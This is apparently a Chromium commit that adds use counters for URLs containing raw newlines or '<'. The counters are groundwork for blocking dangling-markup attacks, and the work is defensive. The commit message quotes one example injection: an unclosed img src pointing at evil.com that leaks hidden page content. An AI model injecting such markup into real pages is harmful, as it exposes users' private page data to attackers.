Measure URL resolution with raw newlines and braces.

Because HTML is fairly lax in parsing attribute values, injecting
something like `<img src='https://evil.com/?whatever=` can expose
otherwise hidden values by eating up elements and their attributes, and
resolving them as a URL.

Perhaps we could restrict the character set allowed in `src`/`href`
attributes to bring them in-line with CSS's rules for `url('`. That
is, perhaps we should stop resolving URLs that contain raw newline
characters (`\n`)? Or braces (`<`)? Or both? It's not clear whether we
can do something about this by default, so let's add metrics and see
what we see.

BUG=680970
R=jochen@chromium.org

Review-Url: https://codereview.chromium.org/2629393002
Cr-Commit-Position: refs/heads/master@{#443793}

third_party/WebKit/Source/core/dom/Document.cpp

diff --git a/third_party/WebKit/Source/core/dom/Document.cpp b/third_party/WebKit/Source/core/dom/Document.cpp
index 5380084..0ce8353 100644
--- a/third_party/WebKit/Source/core/dom/Document.cpp
+++ b/third_party/WebKit/Source/core/dom/Document.cpp
@@ -4945,6 +4945,19 @@
 }
 
 KURL Document::completeURL(const String& url) const {
+  String trimmed = url.stripWhiteSpace();
+  bool newline = trimmed.contains('\n') || trimmed.contains('\r');
+  bool brace = trimmed.contains('<');
+  if (newline)
+    UseCounter::count(*this, UseCounter::DocumentCompleteURLContainingNewline);
+  if (brace) {
+    UseCounter::count(*this,
+                      UseCounter::DocumentCompleteURLContainingOpenBrace);
+  }
+  if (newline && brace) {
+    UseCounter::count(
+        *this, UseCounter::DocumentCompleteURLContainingNewlineAndOpenBrace);
+  }
   return completeURLWithOverride(url, m_baseURL);
 }
 

third_party/WebKit/Source/core/frame/UseCounter.h

diff --git a/third_party/WebKit/Source/core/frame/UseCounter.h b/third_party/WebKit/Source/core/frame/UseCounter.h
index 9a5a774a..dd8b614 100644
--- a/third_party/WebKit/Source/core/frame/UseCounter.h
+++ b/third_party/WebKit/Source/core/frame/UseCounter.h
@@ -1435,6 +1435,9 @@
     V8AssigmentExpressionLHSIsCallInStrict = 1765,
     V8PromiseConstructorReturnedUndefined = 1766,
     FormSubmittedWithUnclosedFormControl = 1767,
+    DocumentCompleteURLContainingNewline = 1768,
+    DocumentCompleteURLContainingOpenBrace = 1769,
+    DocumentCompleteURLContainingNewlineAndOpenBrace = 1770,
 
     // Add new features immediately above this line. Don't change assigned
     // numbers of any item, and don't reuse removed slots.

tools/metrics/histograms/histograms.xml

diff --git a/tools/metrics/histograms/histograms.xml b/tools/metrics/histograms/histograms.xml
index e4eca30..82b7e74c3 100644
--- a/tools/metrics/histograms/histograms.xml
+++ b/tools/metrics/histograms/histograms.xml
@@ -89042,6 +89042,9 @@
   <int value="1765" label="V8AssigmentExpressionLHSIsCallInStrict"/>
   <int value="1766" label="V8PromiseConstructorReturnedUndefined"/>
   <int value="1767" label="FormSubmittedWithUnclosedFormControl"/>
+  <int value="1768" label="DocumentCompleteURLContainingNewline"/>
+  <int value="1769" label="DocumentCompleteURLContainingOpenBrace"/>
+  <int value="1770" label="DocumentCompleteURLContainingNewlineAndOpenBrace"/>
 </enum>
 
 <enum name="FetchRequestMode" type="int">